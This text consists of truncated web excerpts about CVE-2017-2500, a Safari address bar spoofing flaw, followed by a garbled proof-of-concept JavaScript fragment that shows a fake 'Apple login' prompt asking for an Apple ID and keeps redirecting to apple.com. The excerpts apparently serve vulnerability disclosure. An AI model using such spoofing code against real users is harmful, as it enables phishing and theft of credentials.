CVE-2017-2500

CVE-2017-2500 affects Safari in Apple Safari before 10.1.1; a crafted web site can spoof the address bar, potentially misleading users. Apple’s advisory for Safari 10.1.1 lists this as an addressed issue under the Safari component, resolving the address bar spoofing vulnerability. The broader Win...

Address bar spoofing on macOS Safari(CVE-2017-2500)

version: Safari function spoof document.write"Apple loginPlease input your Apple ID!!!But this is not apple.com!"; window.location.assign"http://www.apple.com:1234"; //or you can use the following JS code: //window.location.assign"http://access.apple.com"; setIntervalspoof,2000; setTimeoutfunctio...